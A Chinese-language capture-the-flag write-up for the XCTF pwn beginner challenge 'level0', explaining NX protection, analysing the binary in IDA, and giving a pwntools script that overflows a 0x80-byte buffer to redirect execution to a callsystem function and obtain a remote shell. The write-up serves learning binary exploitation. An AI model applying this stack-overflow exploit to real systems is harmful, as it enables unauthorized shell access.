XCTF_pwn新手区_level0
拿到题,执行一下,然后看一下保护:
程序只开了NX.这里记录一下NX:
NX:
NX是数据与程序的分水岭,
栈溢出核心思想是通过局部变量覆盖函数返回地址来修改EIP注释1和注入 Shellcode注释2,
在函数返回时跳到Shellcode去执行
要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,
NX策略是使栈区域的代码无法执行。
注释1:CPU通过EIP寄存器读取即将要执行的指令
注释2:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。 ----百度百科.
做题
拖到ida里面分析一下
shift+f12查看字符串,发现有/bin/sh这个字符串,双击进去看看:
可以看见这个字符串在0x400684这个位置,把光标打到command,然后按x,看看谁调用了它:
然后右键用text视图查看:
然后就找到了callsystem这个函数的地址,只要让EIP寄存器指向这个地址,程序就会执行callsystem函数.
然后分析main函数,f5查看伪代码:
这里没有用户交互,所以双击到vulnerable_function()这个函数里面看看:
这里定义了一个0x80长度的char类型变量,即0x80h填充满,之后跟上内存地址,
可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用
脚本就有了:
from pwn import * p = remote("124.126.19.106","57828") # 链接服务器远程交互,等同于nc ip 端口 命令 elf = ELF('./1') # 以ELF文件格式读取文件 sysaddr = elf.symbols['callsystem'] # 获取ELF文件中callsystem函数的地址 payload = 'a'*(0x80 + 8) + p64(sysaddr) #先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址 p.recvuntil("World") #检测输出 p.sendline(payload) # 输入payload p.interactive() # 反弹shell进行交互
有疑问错误之类的,请在下方留言